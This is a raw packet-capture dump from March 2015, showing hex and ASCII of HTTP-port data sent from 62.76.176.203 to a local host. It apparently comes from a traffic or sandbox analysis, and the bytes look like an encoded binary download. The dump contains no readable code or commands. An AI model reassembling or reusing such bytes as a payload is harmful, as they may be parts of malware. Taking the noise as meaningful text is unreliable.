Mrz 4, 2015 14:54:13.145589113 MEZ80103262.76.176.203192.168.1.10Data Raw: 2e 1c 10 4f 1e 35 11 3c 37 3e 13 1d 1b 3c 3d 1d 35 0c 2b 53 2f 36 0b 1f 0b 08 0c 4f 3c 2f 0c 4e 4a 41 0b 02 3d 2b 1f 4b 2d 1a 13 1a 4f 1a 48 2f 36 3d 0a 33 2d 31 17 1d 17 22 0c 09 48 02 02 4f 34 08 4d 1c 41 19 11 49 3d 00 3d 2e 3d 16 35 29 3f 0e
Data Ascii: .O5<7><=5+S/6O</NJA=+K-OH/6=3-1"HO4MAI==.=5)?K?-0WJ1@I- I/-4-IO=)5HL+5J5-S.+(I!4"+=.-/I9+2>7N,"A6W-/2L=,*-M0H:3-?HO!+.(4N4:!76-L"
337
Mrz 4, 2015 14:54:13.145695925 MEZ80103262.76.176.203192.168.1.10Data Raw: 31 37 48 3c 3e 3a 1d 08 2d 1b 11 1d 4b 3c 00 53 57 09 02 0e 1f 2e 1f 3f 2f 4a 0b 2d 3f 0f 2e 1a 36 49 37 0b 4f 34 10 20 17 41 2c 2b 48 3e 0a 1e 2c 0c 0e 2d 40 00 2d 08 22 0a 2f 2c 3d 00 0b 0f 17 10 4e 4b 0a 34 10 41 2f 32 0b 11 35 3a 1c 0b 30 19
Data Ascii: 17H<>:-K<SW.?/J-?.6I7O4 A,+H>,-@-"/,=NK4A/25:0SA"(+<S+@)2.@429+K-?6,443/"+ K!"4+3=32L"W=I=.<N;>)K/:A/1I:4+(N?K 95LM;5-+)/46A.@;IMOS..
338
Mrz 4, 2015 14:54:13.145826101 MEZ80103262.76.176.203192.168.1.10Data Raw: 41 2f 36 11 2d 4a 41 41 14 12 30 3c 4e 2a 3b 4d 1a 1f 2c 4b 1e 09 37 2a 13 19 14 0e 20 00 3d 4c 10 1d 20 39 11 12 57 00 1b 0c 02 40 11 1c 48 3e 48 2e 39 49 2e 21 1b 39 16 41 4a 20 00 08 14 10 10 4f 1a 3c 00 11 2f 31 1b 20 48 32 21 4e 1a 32 1a 21
Data Ascii: A/6-JAA0<N*;M,K7* =L 9W@H>H.9I.!9AJ O</1 H2!N2!5";-"/-04W+"!/=S0)</;I..N,A-"S*!." ?M4/0I!>-,>:?()-.!"/5+N)AK9>KJ*3-+*>.J@)*:/*>>;N-SK..1JMAM?-AJO
339
Mrz 4, 2015 14:54:13.154470921 MEZ80103262.76.176.203192.168.1.10Data Raw: 21 08 10 1f 41 2f 01 02 39 00 20 2e 30 2f 32 10 10 1e 41 37 49 13 2d 53 15 16 2e 17 30 30 0e 29 15 34 37 53 2f 08 4c 41 2f 14 0b 02 39 48 4d 4f 3c 22 0c 4f 16 12 0b 48 4d 2a 2a 4e 2c 21 10 4e 22 3e 00 21 00 2e 13 4d 0b 22 01 41 3c 34 36 2d 1c 3d
Data Ascii: !A/9 .0/2A7I-S.00)47S/LA/9HMO<"OHM**N,!N">!.M"A<46-=4?,O5IA :?>5AH:/>2 S.?O/92.-1O+233.=I7=OJMO<"A .?K:O6,"6K @*M,N7!J1 @!:N-70;H@!+:36HI+,N!,)LK1
340
Mrz 4, 2015 14:54:13.154476881 MEZ80103262.76.176.203192.168.1.10Data Raw: 2c 2b 3b 20 2e 4d 4a 11 48 3d 09 1f 0b 3e 11 21 2d 02 15 0f 3b 31 22 0e 15 2b 21 1a 2b 21 2e 19 2c 09 48 2b 1b 3a 4d 41 30 4a 17 13 4d 00 1b 0e 31 08 2b 1c 40 08 10 00 09 4a 41 15 19 31 4e 57 33 4d 09 3e 4a 31 0f 2f 2b 00 16 13 13 3c 21 0f 4a 17
Data Ascii: ,+; .MJH=>!-;1"+!+!.,H+:MA0JM1+@JA1NW3M>J1/+<!J, 1JS<+/A7,O7+"7K?4;L6.<N,W6A! N<I(I:N-.W<6W(,INNWK?/"L<5@@ K3?-I? 9I+(1L,5SH5/2,S:<*7./
342
Mrz 4, 2015 14:54:13.154571056 MEZ80103262.76.176.203192.168.1.10Data Raw: 0a 22 14 4e 0a 00 22 08 00 1e 39 2d 0b 34 31 09 31 1c 15 1a 3e 14 35 1c 3f 14 41 3b 1e 4f 00 11 0f 14 36 0a 0f 3d 41 49 30 0a 0b 01 1d 30 20 3e 22 29 41 08 1f 41 11 1a 1c 2b 2a 2a 09 29 41 32 53 0d 32 08 4c 4f 1f 01 31 41 3e 4f 37 02 49 0a 2d 4d
Data Ascii: "N"9-411>5?A;O6=AI00 >")AA+**)A2S2LO1A>O7I-M9/2(=5;S/60+"*3;."* ;(/4A)2-=5>*(O5"56KAJ2@@:HAJI(.(9/(/=A/HJ.>+:.0@:J2L.5/+3=)L.5>-:")=;*4A
342
Mrz 4, 2015 14:54:13.169553995 MEZ80103262.76.176.203192.168.1.10Data Raw: 11 2f 20 41 10 16 02 40 0f 1b 0c 49 2e 15 0d 0f 08 20 34 4d 1e 2f 17 08 02 2f 20 09 3b 1a 30 15 35 49 2f 3e 0a 1b 39 1a 4e 0a 3d 41 1a 2e 0d 4a 0e 39 20 1d 35 35 14 12 29 3a 09 17 53 19 2e 53 3e 1d 40 4a 14 2e 3f 08 3a 17 1d 0d 34 0c 3e 12 29 40
Data Ascii: / A@I. 4M// ;05I/>9N=A.J9 55):S.S>@J.?:4>)@S!.@0)WAA:;*1 +.J,H)7MA!4/6+*- 12-6!W.-LML/A!L-H33-,N.345.J?6@)"+-AL;>7A/>S275K9LOH>!JS!KI)?SLO7-M:5M"
343
Mrz 4, 2015 14:54:13.169991016 MEZ80103262.76.176.203192.168.1.10Data Raw: 41 4e 0c 2a 10 35 36 33 22 36 0d 0f 49 0c 21 22 14 40 3d 0d 1c 20 3f 3f 2b 1b 28 0c 19 02 2e 14 0f 10 2b 13 15 2e 0c 1c 10 4f 3d 01 13 15 53 49 39 2b 11 14 2a 1a 35 0f 48 1f 08 3a 53 12 3b 1d 33 0e 30 49 4e 0c 2f 14 21 48 09 32 32 1b 2e 3e 1a 49
Data Ascii: AN*563"6I!"@= ??+(.+.O=SI9+*5H:S;30IN/!H22.>ILH.A@IJ7A)5+A?K,0.HHAO*>O=6I!JSH"(9J*O44IJM?S.+72L=I/?.(!5.K2A,4-.@>>5HJJ5"<*JKO!A+/3?OI26(!AM?
345
Mrz 4, 2015 14:54:13.169996977 MEZ80103262.76.176.203192.168.1.10Data Raw: 2a 1c 2b 30 4d 01 1b 36 2d 40 21 2a 11 20 0f 3b 1b 2b 57 4a 2b 1b 32 21 16 0d 4f 3e 02 3f 1c 4a 0a 15 2f 31 10 1c 09 11 2d 2b 32 37 3b 15 21 14 2c 12 4d 3e 0e 48 4d 37 3b 3b 20 40 2a 12 15 30 48 01 21 41 2f 40 08 08 2e 21 3f 01 35 4c 2e 3d 3b 1f
Data Ascii: *+0M6-@!* ;+WJ+2!O>?J/1-+27;!,M>HM7;; @*0H!A/@.!?5L.=;20+1+526A0457(-<@O=5/.6:>3 II1A1:6*KK(I@!MO>>7.A2SN*;"0.J@+*N-L7;S"/W,L:S:5A5O2:.0NI09-L,,H.
346
Mrz 4, 2015 14:54:13.170100927 MEZ80103262.76.176.203192.168.1.10Data Raw: 36 2c 19 1d 0d 31 2b 10 4e 21 1b 36 32 2d 08 4f 48 3a 21 02 3f 40 21 3c 35 3c 49 0c 09 12 09 00 01 21 1a 14 32 02 40 40 41 37 53 15 4e 20 1c 32 32 3d 4d 2e 15 12 3f 3d 41 08 3f 0c 08 2d 10 15 0d 4b 2f 08 4b 33 4b 0e 37 2d 34 3a 14 28 19 28 3d 36
Data Ascii: 6,1+N!62-OH:!?@!<5<I!2@@A7SN 22=M.?=A?-K/K3K7-4:((=6/.6*.S6K- "H(;K+-;("/I!3HW2K/ )(,MK?2O;2IH(S)N!/S2H263!-+L2/?" ,0 H90*A6. " ??M33,+<OM6/L!.M" <0..M7K4H"6I
347
Mrz 4, 2015 14:54:13.945969105 MEZ80103262.76.176.203192.168.1.10Data Raw: 0b 28 1e 15 37 2b 3e 32 17 0b 4d 3e 4a 49 17 3b 22 36 3e 22 3a 3f 17 3f 29 0c 17 3c 35 3d 3f 22 08 0f 32 0c 4b 4f 3f 2a 21 48 2b 41 0a 2c 3d 3e 4f 35 3f 35 11 02 48 0c 0c 20 1c 19 3b 01 4b 2b 17 02 32 36 2b 0e 4a 34 20 19 37 41 3b 20 35 1c 0c 08
Data Ascii: (7+>2M>JI;"6>":??)<5=?"2KO?*!H+A,=>O5?5H ;K+26+J4 7A; 5O ,>5*/>(6!.05*/ @!/2>(>KN+4<!AL/,."K+-3"!M@W4A:3@+>!H9(W(<<.4!N+0/N..+6,2(S<!O<>2"!!445(92/=)
349
Mrz 4, 2015 14:54:13.945976019 MEZ80103262.76.176.203192.168.1.10Data Raw: 37 1d 35 32 12 3e 29 32 0b 3b 21 01 34 0a 11 20 2f 41 4b 53 14 16 10 10 10 4f 1b 32 2a 1e 4a 3f 14 16 11 02 30 1d 20 19 4a 21 4a 30 1f 00 36 1d 1e 2c 1a 4d 19 41 4a 21 1c 1a 0a 53 4e 4c 4c 31 49 39 33 21 1f 21 1c 1d 20 33 20 4a 3f 3e 4a 36 4f 02
Data Ascii: 752>)2;!4 /AKSO2*J?0 J!J06,MAJ!SNLL1I93!! 3 J?>J6O"M"S3>H.WI(/+JH!A.2 K<N!I,M./6+@.="WK>I2MS+=>2JA9*-+N;9SO4.O-MIS; 0I!A/31I5!>.WN5"9<.4<A3:J:+=4>N6K-".-
351
Mrz 4, 2015 14:54:13.945988894 MEZ80103262.76.176.203192.168.1.10Data Raw: 16 12 12 02 3e 19 21 4b 0b 4f 3d 2e 12 32 4a 1c 31 1d 1b 3a 30 1d 09 1e 0c 2c 2e 0e 15 33 12 49 1e 29 37 3e 36 2c 3d 17 2c 40 1c 4a 0d 31 20 39 11 2d 2c 00 00 19 11 53 39 1c 53 02 3c 19 2d 40 1f 1a 31 08 32 1d 10 3f 3b 15 17 08 1b 40 4c 2e 1f 1d
Data Ascii: >!KO=.2J1:0,.3I)7>6,=,@J1 9-,S9S<-@12?;@L.O@M,L2WN7/0;A,,555555555555555555555555555555555555555555555555555>/4O10:9299999999999999!=HL
351
Mrz 4, 2015 14:54:13.946142912 MEZ80103262.76.176.203192.168.1.10Data Raw: 1c 10 15 12 11 00 36 3d 0b 4f 3e 0a 30 0e 13 34 48 4c 49 2f 35 39 28 22 2e 1e 21 1c 36 19 20 2d 2e 57 2e 21 0e 1e 2f 57 34 29 35 1e 10 53 31 29 1b 39 00 22 35 1c 20 4b 2e 15 2d 31 17 09 4d 57 21 49 0f 00 4e 2b 37 19 57 2b 2f 0b 21 02 22 49 02 3b
Data Ascii: 6=O>04HLI/59(".!6 -.W.!/W4)5S1)9"5 K.-1MW!IN+7W+/!"I;1/(?>9!*@7;S/5;@+5+! W".97J!,."7- .L3.K?1!O4I<9L76*1!*W/LO0"O-"J+!A/=I1AK0"I;>N**07JO!!*= *).!!
353
Mrz 4, 2015 14:54:13.946146965 MEZ80103262.76.176.203192.168.1.10Data Raw: 0a 22 0b 49 3c 12 2e 2c 2c 20 13 21 4d 2e 0b 02 34 3a 4a 12 2c 4a 48 02 1d 00 0b 0e 17 3b 08 41 34 08 49 39 15 10 0b 48 08 3a 4a 12 1b 11 15 10 53 00 40 21 1c 1d 20 14 22 49 11 0a 40 0c 09 21 4e 29 2b 19 2e 30 3a 1c 4c 3e 0d 19 1c 15 19 19 2d 28
Data Ascii: "I<.,, !M.4:J,JH;A4I9H:JS@! "I@!N)+.0:L>-(HL/HJ-I!.!>+6(+=:@IM :;KAN"HI:,.+):?52K.?>,>AIM@;:J6,=.MNK,535>-M)>2H0/!:3?@-NNJK)H:?@
354
Mrz 4, 2015 14:54:13.946253061 MEZ80103262.76.176.203192.168.1.10Data Raw: 20 2e 21 37 1f 34 3a 0e 2f 57 3b 19 2e 4a 3a 1c 4a 30 10 22 32 4b 3b 1b 2b 2e 10 1e 19 14 1b 4b 28 4e 0a 08 39 2c 1c 1e 40 0c 40 1c 19 29 4f 33 1e 49 12 1a 11 2c 0b 2b 1c 30 2e 19 34 3e 14 4c 20 32 20 2b 29 4b 1c 34 3f 32 10 1c 41 3e 0b 2b 2a 37
Data Ascii: .!74:/W;.J:J0"2K;+.K(N9,@@)O3I,+0.4>L 2 +)K4?2A>+*7 W -K=/"00;WJJK"O/.@"JKA/-0.@>-?MIN>!@+3>@9."- -MMS+7MJ!,+3-HK= H>+.>4 2+4JMJ/5/-HH=/
355
Mrz 4, 2015 14:54:13.946290970 MEZ80103262.76.176.203192.168.1.10Data Raw: 4b 00 09 0e 3e 31 00 0f 3b 2f 16 39 2f 00 1a 10 22 34 15 3e 1c 2e 53 4c 0a 17 09 0f 41 32 08 1c 0c 4d 02 49 16 0e 2d 13 2d 08 08 0e 22 14 4b 49 20 35 29 13 2d 4d 4f 2d 01 28 0b 2e 2c 32 22 19 20 48 0b 1d 34 3f 40 2d 1d 09 0e 12 3e 37 39 57 0c 12
Data Ascii: K>1;/9/"4>.SLA2MI--"KI 5)-MO-(.,2" H4?@->79W-!/91JJ.@9,:0O/,/+H0!*@:.";22")(?91*-200O;@0WMK37:IN";O<N>H/+W*,2AK=2-)K4O42<4K0L3K4MJ;5-,I
357
Mrz 4, 2015 14:54:13.946295977 MEZ80103262.76.176.203192.168.1.10Data Raw: 20 00 1e 40 17 32 00 21 32 30 30 1d 3e 36 4a 1b 37 2a 3a 3f 0f 22 53 33 28 3a 13 28 2a 3c 3a 0c 3f 3a 0f 0e 29 17 14 1a 4a 2d 00 1e 1b 3e 00 22 2c 2d 0d 53 2d 3b 4d 1d 29 32 08 0e 20 3a 1c 19 1e 4f 1e 2f 0d 02 12 39 48 01 1c 0d 21 2f 0f 0b 14 08
Data Ascii: @2!200>6J7*:?"S3(:(*<:?:)J->",-S-;M)2 :O/9H!/OH,I!3OHHN*@AI-0OK =.=,</@>OHO:.SM5+>:+,ISS2+-+(77K.+KKI:+A1;IA1MJSL/K*H+"-3I:SMO.1H.2-I0
358
Mrz 4, 2015 14:54:13.946352959 MEZ80103262.76.176.203192.168.1.10Data Raw: 4a 48 35 2e 2d 4d 0a 1a 0f 2e 3a 1d 3b 3e 4a 1c 31 41 0d 2d 16 09 12 1c 1f 33 3e 16 2e 0e 2d 30 22 49 12 21 3b 1d 33 4e 2d 48 48 1c 13 02 14 11 09 3e 0c 11 15 20 01 2e 35 1a 13 41 3c 16 35 4c 14 41 2b 0b 48 33 12 08 1e 32 0b 14 36 15 22 19 35 1c
Data Ascii: JH5.-M.:;>J1A-3>.-0"I!;3N-HH> .5A<5LA+H326"5S>6;!N,O3INM,,O555555555555555555555555555555555555555555555>/4O10H9299999999999999MA!L:16,;A"
360
Mrz 4, 2015 14:54:13.946444035 MEZ80103262.76.176.203192.168.1.10Data Raw: 16 13 3e 17 4a 33 2f 0e 49 14 0e 3e 34 10 36 08 4c 1c 12 1e 2f 49 28 28 20 30 3f 0c 15 28 0b 16 39 0e 2e 08 49 4b 1d 10 4a 1d 3e 1d 40 4a 01 57 4c 14 2e 17 1c 30 0c 2b 34 08 35 35 4c 1c 02 0e 3c 1c 0a 0a 3f 4e 2c 40 0c 30 10 02 35 2c 00 13 2e 10
Data Ascii: >J3/I>46L/I(( 0?(9.IKJ>@JWL.0+455L<?N,@05,.;(7-,<0 "3HMSJ63")*@H,*@ 9!*2")07-H62M=9!! MN2-HJ5@ 52>(@?1)1O,H))!94,6(K0 AW@KK=214
361
Mrz 4, 2015 14:54:13.946470022 MEZ80103262.76.176.203192.168.1.10Data Raw: 41 10 3c 16 09 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: A<55555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555
362
Mrz 4, 2015 14:54:13.946629047 MEZ80103262.76.176.203192.168.1.10Data Raw: 36 28 2e 36 35 3e 40 48 3a 4d 21 41 35 2e 3b 17 1e 19 21 31 00 41 0f 0c 08 48 53 2f 4b 00 30 15 3a 4e 4e 14 37 31 4d 0f 3f 1f 19 17 10 4f 31 1c 4d 36 0d 29 1b 33 30 0d 15 2b 3b 14 20 2d 08 02 41 08 4a 34 08 0d 20 0f 35 1b 17 13 22 2c 3f 00 3a 4a
Data Ascii: 6(.65>@H:M!A5.;!1AHS/K0:NN71M?O1M6)30+; -AJ4 5",?:J7.W=O!SK5M6=5>?!!+7!A?:N647!2:N57A((0:/6L565"A05.LL@3"((/.S921:0JS!!): 5S1M, 1N;KHHK5I?@W5.
364
Mrz 4, 2015 14:54:13.946634054 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 00 2e 11 53 01 3a 4f 3e 21 39 39 32 3b 29 39 39 39 39 39 39 39 39 39 39 39 39 39 36 32 11 0e 1c 22 41 09 3f 00 14 3d 35 2a 22 0b 09 14 1f 3e 16 3b 09 1b
Data Ascii: 5555555555555555.S:O>!992;)999999999999962"A?=5*">;I("!?6?0L4 ">A@@4M,L>://=4",->6 I /0"34!M.M;M 4H:(*./6NN6K"SA;/5"*:->AI!3<+1?!/I!HK6(HM;*I?JI0K
365
Mrz 4, 2015 14:54:13.946636915 MEZ80103262.76.176.203192.168.1.10Data Raw: 2c 2d 2a 48 30 21 3f 3f 3b 0d 02 1e 33 2a 14 34 08 2e 36 2b 3d 21 1e 1d 2d 1c 3d 10 0c 2a 4a 2f 3f 0c 1e 3e 49 2f 19 30 19 28 0a 3b 36 19 34 0c 2d 49 2e 09 4c 28 3f 28 22 0b 30 0e 35 4c 14 33 1c 14 15 1a 31 4d 1e 2e 32 2c 41 01 2a 09 0d 33 1e 49
Data Ascii: ,-*H0!??;3*4.6+=!-=*J/?>I/0(;64-I.L(?("05L31M.2,A*3I=2-*>MM,55555555555555555555555555555555555555555555555555555555555555555555555555
367
Mrz 4, 2015 14:54:13.946727037 MEZ80103262.76.176.203192.168.1.10Data Raw: 0c 34 2b 08 37 4b 2f 14 2a 21 1f 3b 0d 22 36 2b 21 2d 4a 14 3a 4e 0b 29 41 41 4d 2a 1b 1e 2f 15 33 1c 29 3b 4a 29 36 22 29 4a 15 16 31 19 29 3b 0d 2e 36 2b 20 0c 15 16 3f 0a 15 1e 0b 37 4b 2b 20 17 0d 16 39 4b 14 1d 41 41 2e 30 3a 53 30 0c 4f 22
Data Ascii: 4+7K/*!;"6+!-J:N)AAM*/3);J)6")J1);.6+ ?7K+ 9KAA.0:S0O"*HJ,"?):!AM@+"!6KK1 /M6-);H901"2K1 K? 0-43* *AL H-2AHMA+I<!.5"44I5)(+;);615 11J9@<=.L0155H/+! KH)
368
Mrz 4, 2015 14:54:13.946757078 MEZ80103262.76.176.203192.168.1.10Data Raw: 02 2a 31 2d 4b 16 1d 00 0c 0f 3d 15 21 2c 31 32 30 22 17 31 2e 36 29 19 57 2a 1e 11 2b 0a 0d 00 35 30 15 3b 0c 0e 2f 30 31 29 08 34 2b 13 2d 4d 40 2c 32 01 1e 41 21 3b 11 4f 53 2f 53 37 2b 35 34 39 16 10 3a 4b 37 2e 2d 0e 0b 3f 48 1d 37 53 4a 2a
Data Ascii: *1-K=!,120"1.6)W*+50;/01)4+-M@,2A!;OS/S7+549:K7.-?H7SJ*>H0!L*.7!K!+@3",.,!.23+(2<>K14N(/,,!939</0J@W0!.?+;W59LW<1J@9.9+4.2>+L<4.S9+;7=!7 .2JW0W= 9J< J6MH::>
369
Mrz 4, 2015 14:54:13.946866035 MEZ80103262.76.176.203192.168.1.10Data Raw: 0a 33 30 49 2b 35 01 53 2e 37 4a 3a 34 3b 01 1f 1a 3d 0c 2f 41 21 36 28 22 3e 11 21 15 01 21 49 14 15 36 57 22 4b 4b 49 21 32 39 02 3f 41 49 2f 19 3a 41 1e 2c 1f 01 0f 3f 36 0a 1f 31 2f 4b 0b 1d 4d 19 49 22 1c 1c 29 15 11 33 1d 2f 41 1b 02 40 41
Data Ascii: 30I+5S.7J:4;=/A!6(">!!I6W"KKI!29?AI/:A,?61/KMI")3/A@A:( <KM-2,>2+?>MA6W>OHO.6I*N+34+K2A?IN<,-,WS230J?>K3S6.3(N:O,++H>5=AS(<2(066-->K" 4>?>O@S<>A)@L;:5HW4)))?6<3.SH5
371
Mrz 4, 2015 14:54:13.946870089 MEZ80103262.76.176.203192.168.1.10Data Raw: 48 02 35 19 48 49 09 40 15 36 40 0e 3d 02 2a 19 48 4b 2c 40 4a 36 40 1f 09 3f 01 19 2e 4f 3a 1c 4f 12 35 2b 19 4a 01 19 19 36 15 49 4a 3f 11 09 2d 02 39 4e 2c 41 00 13 0a 1a 35 2b 2e 37 01 19 20 2c 3a 1c 4e 2c 35 2b 22 1c 20 01 2c 4a 4b 49 4a 3e
Data Ascii: H5HI@6@=*HK,@J6@?.O:O5+J6IJ?-9N,A5+.7 ,:N,5+" ,JKIJ>7-M@4:@5+?0:J*-,HO>JM+4 =K-O+/6 =;+L*5/3+?IJ=3-L@SIIIJ> ?2I!@>KI--I?6,>: -6JJ.15-?AO/.I.:I?6 J2
372
Mrz 4, 2015 14:54:13.946985960 MEZ80103262.76.176.203192.168.1.10Data Raw: 4b 13 48 2a 29 17 0c 2b 15 0c 4b 0c 02 3d 29 48 1e 36 0b 34 1b 39 28 21 2e 1c 22 1e 49 2d 19 28 1d 16 40 13 15 41 32 02 40 57 0c 28 1c 2f 30 2f 34 34 2c 2e 3f 32 09 0e 29 3f 19 2e 3e 2e 33 20 3e 15 08 0f 11 0a 0a 0a 3f 35 29 1e 3e 0c 08 1f 1c 19
Data Ascii: KH*)+K=)H649(!."I-(@A2@W(/0/44,.?2)?.>.3 >?5)>N S696M.KM:-O20L=)(5/"L !HM5S23"4;2<5,KA/-H>O. OK/6OK@-A74)/,N6?*K*H*;32=OI 32>5N/L?4,O2W0/(0!1=I
374
Mrz 4, 2015 14:54:13.946990013 MEZ80103262.76.176.203192.168.1.10Data Raw: 53 2c 48 4e 2f 01 41 2d 39 34 2c 35 2d 00 53 0f 19 3c 32 4e 14 3c 0b 4a 01 2d 53 21 2f 4a 1c 1e 00 31 0b 0a 1c 0a 21 0b 2f 02 2d 09 2e 09 57 2c 3a 1d 09 0d 30 3a 40 2b 40 31 0c 2d 2f 30 0a 17 37 4a 34 2b 0b 37 4b 0d 22 1f 3b 32 4b 4c 0d 4b 3f 0d
Data Ascii: S,HN/A-94,5-S<2N<J-S!/J1!/-.W,:0:@+@1-/07J4+7K";2KLK?:+=,>+.(1.7K!<-0?N:-?J!,@.H3>I"I"->2>S:K:2I:INN K"0K7J1I!,3,>;)MK/27LL!1)?>K!/H-N4! <"6--=! ++70!/I,.,(O
375
Mrz 4, 2015 14:54:13.947010994 MEZ80103262.76.176.203192.168.1.10Data Raw: 09 1f 48 22 36 36 12 28 49 14 4c 22 4d 0b 57 3c 21 08 2d 2b 3f 16 4c 2f 49 00 33 2d 16 2a 1e 57 08 3e 4b 49 17 14 48 13 2e 08 2d 1a 1d 32 4f 2f 48 02 33 2e 3f 32 1e 57 17 3e 11 21 49 10 32 1e 41 32 33 57 1d 3e 0f 4c 2f 01 53 34 4e 3c 0d 35 53 3a
Data Ascii: H"66(IL"MW<!-+?L/I3-*W>KIH.-2O/H3.?2W>!I2A23W>L/S4N<5S:,?7)+,KM1/S?L(?:JM09*+6MW!W2<O,:91*6.0/2! 3,3@<1L+K,>2(??;1WJ664(/(K"K-0*2 +2" 4<?@?0--"*O/1K/?+ 2@26*,0>K.
376
Mrz 4, 2015 14:54:13.947134972 MEZ80103262.76.176.203192.168.1.10Data Raw: 0d 33 31 1b 39 36 2f 3d 14 08 3e 20 0f 4b 17 1b 13 35 1e 00 0c 08 1d 3b 34 0b 22 32 40 32 3c 41 0d 08 2a 1d 09 57 22 1e 2f 2a 4f 3e 32 49 1e 1d 09 57 1b 1e 2f 2a 21 30 32 0a 01 3f 0e 39 21 2f 49 36 02 09 0b 08 1c 1a 1e 30 1b 2f 0c 1d 00 3c 2d 32
Data Ascii: 3196/=> K5;4"2@2<A*W"/*O>2IW/*!02?9!/I60/<-2-.0)MW?JL<N) )69M3,3MWN2-6I?92**(/<"/!O2)LM(-24J-/L/J52*1++2249(>N26J""* 9?O4I,)K-;N" <2(4!*!1J,!*/6!!
378
Mrz 4, 2015 14:54:13.947139978 MEZ80103262.76.176.203192.168.1.10Data Raw: 1a 2e 1e 21 2f 31 2d 0c 4d 33 4d 2d 3c 2e 29 40 14 3e 2f 09 11 00 22 1e 1c 10 2d 4b 0f 35 13 15 01 0c 0e 1d 1c 13 21 0b 14 30 12 14 2c 0b 1f 1e 1c 19 09 3c 29 22 32 1c 10 3a 49 30 14 15 34 3d 09 08 3e 20 12 02 09 20 08 10 41 08 14 37 17 4b 12 02
Data Ascii: .!/1-M3M-<.)@>/"-K5!0,<)"2:I04=> A7K:A>67H)IJ"2?5-J7;I,4<*@I20!W1W3=S!A-<K5NM2IK,1/H:LM!>A!@?AHJ KJLM)K./S5+N4"-I-;4M@+NK
379
Mrz 4, 2015 14:54:13.947217941 MEZ80103262.76.176.203192.168.1.10Data Raw: 19 16 39 20 1c 20 31 35 48 11 19 4f 32 41 01 09 1c 2d 34 0c 49 0a 3b 1a 08 0c 48 37 0f 4e 3d 2e 37 4f 53 0a 32 0e 28 1a 35 10 3b 2d 4f 2c 1a 11 4d 35 1f 1b 02 0f 3d 14 21 2b 19 1b 09 0c 1d 3c 3f 01 2c 49 02 31 2e 3b 1f 21 3f 21 12 3b 49 35 30 2b
Data Ascii: 9 15HO2A-4I;H7N=.7OS2(5;-O,M5=!+<?,I1.;!?!;I50+",>-6.+0S(@+IIK0(2I2-A@/J3",(A0>5-(+!A-/K7"/2KS. OKMWHI!+7+-JI.:=;HA1=IJ6@<9*5K
380
Mrz 4, 2015 14:54:13.947249889 MEZ80103262.76.176.203192.168.1.10Data Raw: 1c 57 3f 49 15 2c 2a 0b 35 28 4d 10 12 12 32 53 2f 1a 2e 4d 4b 2d 2e 10 0c 53 3e 14 10 40 3a 4e 2e 3d 19 36 20 00 09 35 22 4c 00 19 10 3d 41 17 32 4d 13 13 14 14 02 3f 4b 3e 1e 10 2a 01 0c 02 2e 29 4f 02 1d 16 53 22 02 0d 4f 14 15 17 2a 22 3f 4a
Data Ascii: W?I,*5(M2S/.MK-.S>@:N.=6 5"L=A2M?K>*.)OS"O*"?J+(M7344=?I0K1I0N9N4/I2<2:?>L=?=7!:>+,.!,MM)- ;0;-LA?H5*@!</M/?9?N.067+/;KJ0;1*"KO4J0K<25N560
381
Mrz 4, 2015 14:54:13.947253942 MEZ80103262.76.176.203192.168.1.10Data Raw: 11 22 4c 31 0a 31 40 10 01 31 48 2b 28 35 4a 53 4e 09 10 41 41 4a 4b 49 00 53 32 2f 0c 4c 4d 10 53 4d 15 0c 15 41 21 19 33 02 41 00 17 4b 39 11 3f 1f 53 3f 1b 1a 3e 40 1d 0e 3c 01 3b 49 2a 19 40 0f 2f 17 41 49 0a 3d 10 0b 3a 11 19 1e 1c 10 0e 2f
Data Ascii: "L11@1H+(5JSNAAJKIS2/LMSMA!3AK9?S?>@<;I*@/AI=:/I:6.N,J62J7.;7<K/-(-0 ,J--//OOK<<-!H7*>+<9;-7)O16+!S7O2J0S.S-LJ?-=INK3 /6 ;J*2:@.@!?I4L4(J1-"W)2*1I
383
Mrz 4, 2015 14:54:13.947365046 MEZ80103262.76.176.203192.168.1.10Data Raw: 21 3f 30 1f 0a 3d 02 2e 2d 14 57 2e 02 53 2a 2e 2c 2d 02 3f 09 40 3a 33 12 1c 2f 10 13 13 01 1a 4b 2e 57 34 1f 1a 09 1e 3f 48 00 32 2f 09 1d 1b 0e 0d 3d 0d 1d 21 00 10 30 0f 1c 14 08 4f 33 1b 1f 08 01 2b 48 4a 3c 34 16 2d 13 4d 2b 2f 35 41 4e 2f
Data Ascii: !?0=.-W.S*.,-?@:3/K.W4?H2/=!0O3+HJ<4-M+/5AN/4O50/??33HS.;*0O@I072!.=N0J16O2;,K9IL-H3 INJ@+;-/>I;,5,+57,NNI?5>@LJJ@+/SMJ-5+,HM04=3-M@H,*?O"L+2N
384
Mrz 4, 2015 14:54:13.947369099 MEZ80103262.76.176.203192.168.1.10Data Raw: 3c 1d 39 28 37 0e 40 39 22 2a 2a 40 34 13 4a 0b 2d 00 15 41 21 21 15 1b 1b 4f 36 2f 20 14 30 1f 31 20 1c 3c 39 0c 16 40 3f 2f 0c 3a 1b 2f 09 2a 1a 3f 39 2f 2e 30 14 4e 36 09 1c 10 0d 20 14 35 00 32 48 41 2a 4e 1c 10 30 31 10 36 1b 1f 32 4a 08 16
Data Ascii: <9(7@9"**@4J-A!!O6/ 01 <9@?/:/*?9/.0N6 52HA*N0162JW.2-=WIN64I!L?I!;. (+J=I ".0:.1.1.@OK=M>5(/"!?71I5KALI+!"06)9<+A>H9@)"A@!K>:+,6> -(5.M.AO=(59!?3HH",KM:2*K(96
386
Mrz 4, 2015 14:54:13.947371960 MEZ80103262.76.176.203192.168.1.10Data Raw: 32 41 37 2b 1e 2f 1d 57 17 20 33 09 19 32 09 32 2a 09 34 4e 21 0e 3e 2e 37 3f 19 40 01 34 4d 57 0c 4c 01 1f 49 00 2e 2a 29 2b 3f 2c 0b 1c 1a 08 2c 09 0c 2a 41 2e 0b 4e 1e 20 57 08 2e 4f 2a 0c 0e 1d 1e 29 2b 1c 1b 32 0d 49 36 09 33 33 28 11 4c 21
